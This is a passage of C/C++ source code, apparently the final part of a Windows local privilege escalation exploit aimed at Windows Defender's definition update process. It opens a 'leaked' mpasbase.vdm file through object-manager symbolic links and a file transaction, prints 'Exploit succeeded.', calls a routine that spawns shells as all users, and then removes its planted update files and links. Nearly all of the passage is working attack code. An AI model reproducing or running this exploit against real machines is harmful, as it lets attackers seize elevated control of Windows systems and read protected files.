  2636. printf("Failed to create object manager symbolic link, error : 0x%0.8X\n", ntstat);
  2637. goto cleanup;
  2638. }
  2639. }
  2640. CloseHandle(ov.hEvent);
  2641. ov.hEvent = NULL;
  2642. CloseHandle(ovd.hEvent);
  2643. ovd.hEvent = NULL;
  2644. CloseHandle(hupdatefile);
  2645. hupdatefile = NULL;
  2646. wcscat(newdefupdatedirname, L"\\mpasbase.vdm");
  2647. htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE, NULL, NULL, NULL, NULL);
  2648. if (!htransaction)
  2649. {
  2650. printf("Failed to open leaked file.\n");
  2651. goto cleanup;
  2652. }
  2653. do {
  2654. hleakedfile = CreateFileTransacted(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htransaction,NULL,NULL);
  2655. } while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile);
  2656. printf("Leaked file opened %ws\n", newdefupdatedirname);
  2657. CloseHandle(hdir);
  2658. hdir = NULL;
  2659. CloseHandle(hobjlink);
  2660. hobjlink = NULL;
  2661. printf("Exploit succeeded.\n");
  2662. SetEvent(hreleaseready);
  2663. DoSpawnShellAsAllUsers(hleakedfile);
  2664. CloseHandle(hleakedfile);
  2665. hleakedfile = NULL;
  2666. RollbackTransaction(htransaction);
  2667. CloseHandle(htransaction);
  2668. htransaction = NULL;
  2669. WaitForSingleObject(hthread, INFINITE);
  2670. CloseHandle(hthread);
  2671. hthread = NULL;
  2672. }
  2673. }
  2674. catch (int exception)
  2675. {
  2676. goto cleanup;
  2677. }
  2678. cleanup:
  2679. if(hint)
  2680. InternetCloseHandle(hint);
  2681. if(hint)
  2682. InternetCloseHandle(hint2);
  2683. if (exebuff)
  2684. free(exebuff);
  2685. if(mappedbuff)
  2686. UnmapViewOfFile(mappedbuff);
  2687. if (hmapping)
  2688. CloseHandle(hmapping);
  2689. if (hcabctx)
  2690. FDIDestroy(hcabctx);
  2691. if (hdir)
  2692. CloseHandle(hdir);
  2693. if (rdb)
  2694. HeapFree(GetProcessHeap(), NULL, rdb);
  2695. if (ov.hEvent)
  2696. CloseHandle(ov.hEvent);
  2697. if (ovd.hEvent)
  2698. CloseHandle(ovd.hEvent);
  2699. if (hreleaseready)
  2700. {
  2701. SetEvent(hreleaseready);
  2702. Sleep(1000);
  2703. CloseHandle(hreleaseready);
  2704. }
  2705. if (hleakedfile)
  2706. {
  2707. if (filelocked)
  2708. UnlockFile(hleakedfile, NULL, NULL, NULL, NULL);
  2709. CloseHandle(hleakedfile);
  2710. }
  2711. if (leakedfilebuff)
  2712. free(leakedfilebuff);
  2713. if (hcurrentthread)
  2714. CloseHandle(hcurrentthread);
  2715. if (needupdatedircleanup)
  2716. {
  2717. wchar_t dirtoclean[MAX_PATH] = { 0 };
  2718. wcscpy(dirtoclean, updatepath);
  2719. UpdateFilesListCurrent = UpdateFilesList;
  2720. while(UpdateFilesListCurrent)
  2721. {
  2722. if (UpdateFilesListCurrent->filecreated)
  2723. {
  2724. wchar_t filetodel[MAX_PATH] = { 0 };
  2725. wcscpy(filetodel, dirtoclean);
  2726. wcscat(filetodel, L"\\");
  2727. MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t));
  2728. DeleteFile(filetodel);
  2729. }
  2730. if (UpdateFilesListCurrent->hsymlink) {
  2731. CloseHandle(UpdateFilesListCurrent->hsymlink);
  2732. UpdateFilesListCurrent->hsymlink = NULL;
  2733. }
  2734. UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent;
  2735. UpdateFilesListCurrent = UpdateFilesListCurrent->next;
  2736. free(UpdateFilesListOld);
  2737. }
  2738. RemoveDirectory(dirtoclean);
  2739. }
  2740. return 0;
  2741. }